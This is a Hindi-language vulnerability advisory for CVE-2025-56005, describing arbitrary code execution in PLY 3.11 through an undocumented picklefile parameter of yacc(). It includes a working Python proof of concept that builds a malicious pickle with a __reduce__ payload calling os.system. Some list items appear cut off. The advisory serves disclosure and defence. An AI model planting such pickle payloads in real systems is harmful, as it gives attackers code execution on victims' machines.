
`picklefile` पैरामीटर के माध्यम से PLY में अप्रलेखित RCE
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
PyPI‑वितरित संस्करण PLY 3.11 में एक अप्रलेखित और असुरक्षित सुविधा मनमाना कोड निष्पादन की अनुमति देती है जब yacc() फ़ंक्शन को picklefile पैरामीटर के साथ आमंत्रित किया जाता है।
picklefile पैरामीटर PLY को Python के pickle.load() का उपयोग करके सत्यापन के बिना एक .pkl फ़ाइल को डीसेरियलाइज़ करने का कारण बनता है। चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान मनमाना कोड के निष्पादन का समर्थन करता है (उदाहरण के लिए, के माध्यम से), एक हमलावर जो आपूर्त की गई पिकल फ़ाइल को नियंत्रित कर सकता है, पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित कर सकता है।
__reduce__()यह पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण या GitHub रिपॉजिटरी में प्रलेखित नहीं है, फिर भी यह PyPI रिलीज़ में सक्रिय है।
हमलावर yacc(picklefile=...) को पास की गई .pkl फ़ाइल को नियंत्रित, प्रतिस्थापित या प्रभावित कर सकता है, तो वे प्राप्त कर सकते हैं:
यह उन एप्लिकेशनों को प्रभावित कर सकता है जो पार्सर तालिकाओं को इनसे लोड करते हैं:
ply.yacc.yacc(picklefile=...)ply/yacc.py में LRTable.read_pickle()यह भेद्यता अपनी गुप्त प्रकृति और स्थायित्व की क्षमता के कारण उच्च जोखिम प्रस्तुत करती है।
picklefile पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण और GitHub रिपॉजिटरी में अप्रलेखित है। हालाँकि, PLY 3.11 का PyPI‑वितरित संस्करण इस कार्यक्षमता को शामिल करता है और आपूर्त की गई फ़ाइल को सत्यापन के बिना pickle.load() का उपयोग करके संसाधित करता है।
चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान एम्बेडेड कोड के निष्पादन की अनुमति देता है, एक दुर्भावनापूर्ण पिकल फ़ाइल पार्सर सेटअप के दौरान, किसी भी पार्सिंग लॉजिक के आमंत्रित होने से पहले मनमाना कोड निष्पादित कर सकती है।
लेखन के समय, अनुरक्षक ने इस व्यवहार को सार्वजनिक रूप से स्वीकार नहीं किया है।
इस कार्यक्षमता का दुरुपयोग स्थायी बैकडोर पेश करने के लिए किया जा सकता है, विशेष रूप से उन वातावरणों में जहाँ पार्सर तालिका फ़ाइलें:
दस्तावेज़ीकरण की कमी, मौन निष्पादन पथ, और असुरक्षित डीसेरियलाइज़ेशन के उच्च प्रभाव को देखते हुए, जागरूकता बढ़ाने और डाउनस्ट्रीम उपयोगकर्ताओं की सुरक्षा के लिए CVE असाइनमेंट उचित है।
यह प्रूफ ऑफ कॉन्सेप्ट प्रदर्शित करता है कि जब अप्रलेखित picklefile पैरामीटर के माध्यम से एक दुर्भावनापूर्ण पिकल फ़ाइल आपूर्त की जाती है तो मनमाना कोड निष्पादन होता है।
PoC:
जब yacc(picklefile='exploit.pkl') आमंत्रित किया जाता है, तो पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित होता है।
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile पैरामीटर का उपयोग न करें